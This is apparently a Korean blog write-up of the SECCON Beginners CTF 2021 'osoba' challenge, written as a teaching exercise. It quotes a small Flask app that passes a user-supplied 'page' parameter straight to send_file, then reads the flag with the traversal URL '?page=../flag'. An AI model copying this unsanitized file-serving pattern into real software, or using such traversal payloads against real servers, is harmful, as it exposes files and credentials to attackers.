본문 바로가기
CTF

[SECCON - Beginners_CTF_2021] osoba

by skyepodium 2023. 5. 28.

1. 개요

File traversal 문제

 

2. 분석

page 파라미터로 로컬 파일을 반환해줍니다.

http://localhost:8080/?page=public/wip.html

 

코드를 보면 send_file로 로컬 파일을 가져오는데, 로컬 어느 위치에 있든 가져올 수 있습니다.

from flask import Flask, request, send_file, make_response

app = Flask(__name__)

@app.route("/", methods=["GET", "POST"])
def index():
    page = request.args.get('page', 'public/index.html')    
    response = make_response(send_file(page))
    response.content_type = "text/html"
    return response

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=8080)

 

page에 상위 폴더의 flag를 넣어서 반환합니다.

http://localhost:8080/?page=../flag

 

 

'CTF' 카테고리의 다른 글

[SECCON - Beginners_CTF_2021] json  (0) 2023.05.28
[SECCON - Beginners_CTF_2021]  cant_use_db  (0) 2023.05.28
[SECCON - Beginners_CTF_2021] werewolf  (0) 2023.05.28
[SCTF 2022] CUSES  (0) 2023.05.21
[SCTF 2022] Imageium  (0) 2023.05.20